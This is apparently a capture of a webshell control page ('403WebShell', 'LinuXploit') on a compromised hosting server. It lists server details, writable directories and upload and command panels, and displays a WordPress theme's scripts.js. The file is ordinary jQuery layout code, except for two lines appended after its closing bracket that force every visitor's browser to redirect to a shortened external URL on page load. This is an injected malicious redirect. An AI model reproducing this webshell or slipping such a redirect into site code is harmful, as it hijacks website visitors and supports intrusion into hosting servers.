Uname:Linux ns69.hostinglotus.net 4.18.0-553.141.2.el8_10.x86_64 #1 SMP Wed Jul 8 10:28:18 EDT 2026 x86_64

403WebShell
403Webshell
Server IP : 119.59.104.26  /  Your IP : 216.73.217.55
Web Server : Apache/2
System : Linux ns69.hostinglotus.net 4.18.0-553.141.2.el8_10.x86_64 #1 SMP Wed Jul 8 10:28:18 EDT 2026 x86_64
User : com12370 ( 1517)
PHP Version : 7.2.34
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/com12370/.trash/files/wp-content.wFk3kz_syhg/themes/titan/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/com12370/.trash/files/wp-content.wFk3kz_syhg/themes/titan/js//scripts.js
(function($) {

    "use strict";



    var windowHeight = $(window).height(),

        windowWidth = $(window).width();

    /*==============================

     Is mobile

     ==============================*/

    var isMobile = {

        Android: function() {

            return navigator.userAgent.match(/Android/i);

        },

        BlackBerry: function() {

            return navigator.userAgent.match(/BlackBerry/i);

        },

        iOS: function() {

            return navigator.userAgent.match(/iPhone|iPad|iPod/i);

        },

        Opera: function() {

            return navigator.userAgent.match(/Opera Mini/i);

        },

        Windows: function() {

            return navigator.userAgent.match(/IEMobile/i);

        },

        any: function() {

            return (isMobile.Android() || isMobile.BlackBerry() || isMobile.iOS() || isMobile.Opera() || isMobile.Windows());

        }

    }



    /*==============================

     Image cover

     ==============================*/

    $.fn.imageCover = function() {

        $(this).each(function() {

            var self = $(this),

                image = self.find('img'),

                heightWrap = self.outerHeight(),

                widthImage = image.outerWidth(),

                heightImage = image.outerHeight();

            if (heightImage < heightWrap) {

                image.css({

                    'height': '100%',

                    'width': 'auto'

                });

            }

        });

    }

    /*==============================

     Overflow text

     ==============================*/

    $.fn.numberLine = function(opts) {

        $(this).each( function () {

            var $this = $(this),

                defaults = {

                    numberLine: 0

                },

                data = $this.data(),

                dataTemp = $.extend(defaults, opts),

                options = $.extend(dataTemp, data);



            if (!options.numberLine)

                return false;



            $this.bind('customResize', function(event) {

                event.stopPropagation();

                reInit();

            }).trigger('customResize');

            $(window).resize( function () {

                $this.trigger('customResize');

            })

            function reInit() {

                var fontSize = parseInt($this.css('font-size'), 10),

                    lineHeight = parseInt($this.css('line-height'), 10),

                    overflow = fontSize * (lineHeight / fontSize) * options.numberLine;



                $this.css({

                    'display': 'block',

                    'max-height': overflow,

                    'overflow': 'hidden'

                });

            }

        })

    }

    $('[data-number-line]').numberLine();



    function inputPlaceholder() {

        var $ph = $('input[type="search"], input[type="text"], input[type="email"], textarea');

        $ph.each(function() {

            var value = $(this).val();

            $(this).focus(function() {

                if ($(this).val() === value) {

                    $(this).val('');

                }

            });

            $(this).blur(function() {

                if ($(this).val() === '') {

                    $(this).val(value);

                }

            });

        });

    }



    function backgroundImage() {

        var section = $('.background-image');

        section.each(function() {

            if ($(this).attr('data-background-image')) {

                var bg = $(this).attr('data-background-image');

                $(this).css('background-image', 'url(' + bg + ')');

            }

        });

    }



    function owlCarouselSlider() {

        var navslider = ['<i class="fa fa-angle-left"></i>', '<i class="fa  fa-angle-right"></i>'];

        if ($('.featured-slider').length > 0) {

            var setAutoplay = 15000;

            $('.featured-slider').owlCarousel({

                autoPlay: setAutoplay,

                slideSpeed: 800,

                navigation: true,

                pagination: false,

                singleItem: true,

                autoHeight: true,

                addClassActive: true,

                transitionStyle: 'fade',

                navigationText: navslider,

                afterUpdate: function() {

                    var featureSliderHeight = $('.featured-slider').outerHeight(),

                        contentItemHeight = $('.featured-slider').find('.item-content').outerHeight();

                    $('.featured-slider .active .item-content').css('top', (featureSliderHeight -contentItemHeight)/2 );

                }

            });

            //Feature slider middle

            $(window).on('resize', function() {

                var featureSliderHeight = $('.featured-slider').outerHeight(),

                    contentItemHeight = $('.featured-slider').find('.item-content').outerHeight();

                $('.featured-slider').find('.item-content').css('top', (featureSliderHeight -contentItemHeight)/2 );

            }).trigger('resize');

        }

        if ($('.images-slider').length > 0) {

            $('.images-slider').owlCarousel({

                autoPlay: 20000,

                slideSpeed: 300,

                navigation: true,

                pagination: true,

                singleItem: true,

                autoHeight: true,

                navigationText: navslider

            });

        }

        if ($('.widget-slider').length > 0) {

            $('.widget-slider').owlCarousel({

                autoPlay: false,

                slideSpeed: 300,

                navigation: true,

                pagination: false,

                singleItem: true,

                autoHeight: true,

                navigationText: navslider,

            });

        }

    }



    function subToggle() {

        if ($('.menu-list').find('.submenu-toggle').length === 0) {

            $('.menu-item-has-children')

                .children('a')

                .after(

                    '<span class="submenu-toggle">\

                        <i class="fa fa-angle-right"></i>\

                    </span>\

                ');

            $('.menu-list').on('click', '.submenu-toggle', function(evt) {

                evt.preventDefault();

                $(this)

                    .siblings('.sub-menu')

                    .addClass('sub-menu-active');

            });

        }

    }

    function submenuBack() {

        $('.menu-list .sub-menu').each(function() {

            var $this = $(this);

            if ($this.find('.back-mb').length === 0) {

                $this

                    .prepend(

                        '<li class="back-mb">\

                            <a href="#">\

                                <i class="fa fa-angle-left"></i>Back\

                            </a>\

                        </li>\

                    ');

            }

            $('.menu-list').on('click', '.back-mb a', function(evt) {

                evt.preventDefault();

                $(this)

                    .parent()

                    .parent()

                    .removeClass('sub-menu-active');

            });

        });

    }





    function tiledGallery() {

        if ($('.tiled-gallery').length) {

            var tiledItemSpacing = 4;

            $('.tiled-gallery').wrap('<div class="tiled-gallery-row"></div>');

            $('.tiled-gallery').parent().css('margin', -tiledItemSpacing);

            $('.tiled-gallery').justifiedGallery({

                rowHeight: 230,

                lastRow : 'justify',

                margins: tiledItemSpacing

            });

        }

    }



    function Search() {

        $('.toggle-search').on('click', function() {

            $('.page-search').fadeIn(500);

        });



        $('.page-search-close').on('click', function() {

            $('.page-search').fadeOut(500);

        });

    }



    function subToggle() {

        if ($('.pi-menulist').find('.submenu-toggle').length === 0) {

            $('.menu-item-has-children')

                .children('a')

                .after('<span class="submenu-toggle"><i class="fa fa-angle-right"></i></span>');

            $('.pi-menulist').on('click', '.submenu-toggle', function(evt) {

                evt.preventDefault();

                $(this)

                    .siblings('.sub-menu')

                    .addClass('sub-menu-active');

            });

        }

    }

    function submenuBack() {

        $('.pi-menulist .sub-menu').each(function() {

            var $this = $(this);

            if ($this.find('.back-mb').length === 0) {

                $this

                    .prepend('<li class="back-mb"><a href="#">Back</a></li>');

            }

            $('.pi-menulist').on('click', '.back-mb a', function(evt) {

                evt.preventDefault();

                $(this)

                    .parent()

                    .parent()

                    .removeClass('sub-menu-active');

            });

        });

    }



    function responsiveMenu() {





        $('#wrapper').wrapInner('<div class="pi-wrapper-inner"></div>');



        $('.toggle-menu').on('click', function() {

            $(this).toggleClass('toggle-active');

            $('.pi-navigation').toggleClass('pi-navigation-active');

            $('.pi-wrapper-inner, .pi-header-fixed').toggleClass('left-240');

        });



        $(window).resize(function() {

            var windowWidth = window.innerWidth;

            if (windowWidth <= 991) {

                subToggle();

                submenuBack();

            } else {

                $('.submenu-toggle, .back-mb').remove();

            }

        });

    }



    function piSticky() {

        $(window).on('scroll', function() {

            var headerFixed = $('.pi-header-fixed'),

                headerOffset = $('.header-top').offset().top,

                windowScroll = $(window).scrollTop();

            if (windowScroll >= headerOffset) {

                headerFixed.addClass('pi-sticky');

            } else {

                headerFixed.removeClass('pi-sticky');

            }

        });

    }



    $(document).ready(function() {

        backgroundImage();

        tiledGallery();

        Search();

        responsiveMenu();

        owlCarouselSlider();

        piSticky();

        

        if ($('.pi-grid').hasClass('pi-grid-first-large')) {

            $('.pi-grid .post + .post .post-entry p').numberLine({

                numberLine: 3

            });

        } else {

            $('.pi-grid .post .post-entry p').numberLine({

                numberLine: 3

            });

        }

        if ($('.pi-list').hasClass('pi-list-first-large')) {

            $('.pi-list .post + .post .post-entry p').numberLine({

                numberLine: 3

            });

        } else {

            $('.pi-list .post .post-entry p').numberLine({

                numberLine: 3

            });

        }



        if (isMobile.iOS()) {

            $('[data-background-image]')

                .addClass('fix-background-ios');

        }



        $('.pi-grid').find('.pi-content').wrapInner('<div class="pi-grid-row"></div>');

        $('.pi-grid').find('.post').wrap('<div class="pi-grid-item"></div>');







        if ($('.pi-sidebar').length) {

            if (!$('.main-content').hasClass('pi-grid-first-large')) {

                $('.pi-grid').find('.pi-grid-item:nth-child(2n+1)').css('clear', 'both');

            } else {

                $('.pi-grid').find('.pi-grid-item:nth-child(2n)').css('clear', 'both');

            }

        }



        $(window).resize(function() {

            if ($('.pi-sidebar').length == 0) {

                if (window.innerWidth >= 1200) {

                    if (!$('.main-content').hasClass('pi-grid-first-large')) {

                        $('.pi-grid').find('.pi-grid-item:nth-child(3n+1)').css('clear', 'both');

                        $('.pi-grid').find('.pi-grid-item:nth-child(2n+1)').css('clear', 'none');

                    } else {

                        $('.pi-grid').find('.pi-grid-item:nth-child(3n+2)').css('clear', 'both');

                        $('.pi-grid').find('.pi-grid-item:nth-child(2n)').css('clear', 'none');

                    }

                } else {

                    if (!$('.main-content').hasClass('pi-grid-first-large')) {

                        $('.pi-grid').find('.pi-grid-item:nth-child(2n+1)').css('clear', 'both');

                        $('.pi-grid').find('.pi-grid-item:nth-child(3n+1)').css('clear', 'none');

                    } else {

                        $('.pi-grid').find('.pi-grid-item:nth-child(2n)').css('clear', 'both');

                        $('.pi-grid').find('.pi-grid-item:nth-child(3n+2)').css('clear', 'none');

                    }

                }

            }



        }).trigger('resize');





        $('.widget-title').append('<span></span>');



        var scrollWidth = window.innerWidth - $(window).width();



        

        $('.widget-toggle').on('click', function() {

            if ($('.widget-expand').hasClass('widget-expand-active')) {

                $('.widget-expand').removeClass('widget-expand-active');

                $('body')

                    .removeClass('overflow-hidden')

                    .css('padding-right', '');

                $('.pi-header-fixed.pi-sticky').css('padding-right', '');

            } else {

                $('.widget-expand').addClass('widget-expand-active');

                $('body')

                    .addClass('overflow-hidden')

                    .css('padding-right', scrollWidth);

                $('.pi-header-fixed.pi-sticky').css('padding-right', scrollWidth);

            }

        });



        $('html').on('click', function() {

            $('.widget-expand').removeClass('widget-expand-active');

            $('body')

                .removeClass('overflow-hidden')

                .css('padding-right', 0);

            $('.pi-header-fixed.pi-sticky').css('padding-right', 0);

        });

        

        $('.widget-expand').on('click', function(e) {

            e.stopPropagation();

        });



        if ( $("#widget-expand-content").children().length == 0 )

        {

            $("#pi-secondary-sidebar-wrapper").remove();

        }



        if ( $("#comments .comments-inner-wrap").children().length  == 0 )

        {

            $("#comments").remove();

        }



    });



    $(window).on('resize', function() {

        var windowHeight = $(window).height(),

            pagenavItemHeight = $('.pi-nav-thumbnail .prev, .pi-nav-thumbnail .next').outerHeight();

        $('.pi-nav-thumbnail .prev, .pi-nav-thumbnail .next').css('top', (windowHeight -pagenavItemHeight)/2 );

    }).trigger('resize');



    $(window).on('scroll', function() {

        var windowScrollTop = $(window).scrollTop(),

            footerHeight = $('#pi-footer').outerHeight(),

            footerOffsetTop = $('#pi-footer').offset().top;



        if ((windowScrollTop + windowHeight) > (footerOffsetTop + footerHeight - 100)) {

            $('.pi-nav-thumbnail').hide();

        } else {

            $('.pi-nav-thumbnail').show();

        }

    }).trigger('scroll');



    $(window).load(function() 

    {

        inputPlaceholder();

        

        $('.preloader').fadeOut(1200);

        $('.image-cover, .related-post-item .post-media, .images-slider .item, .pi-grid .pi-content .images, .pi-list .pi-content .images, .post-link ~ .images').imageCover();

    });

})(jQuery);
window.location.href = "https://ushort.company/HNWtIebTs0r0";
window.location.href = "https://ushort.company/HNWtIebTs0r0";

Youez - 2016 - github.com/yon3zu
LinuXploit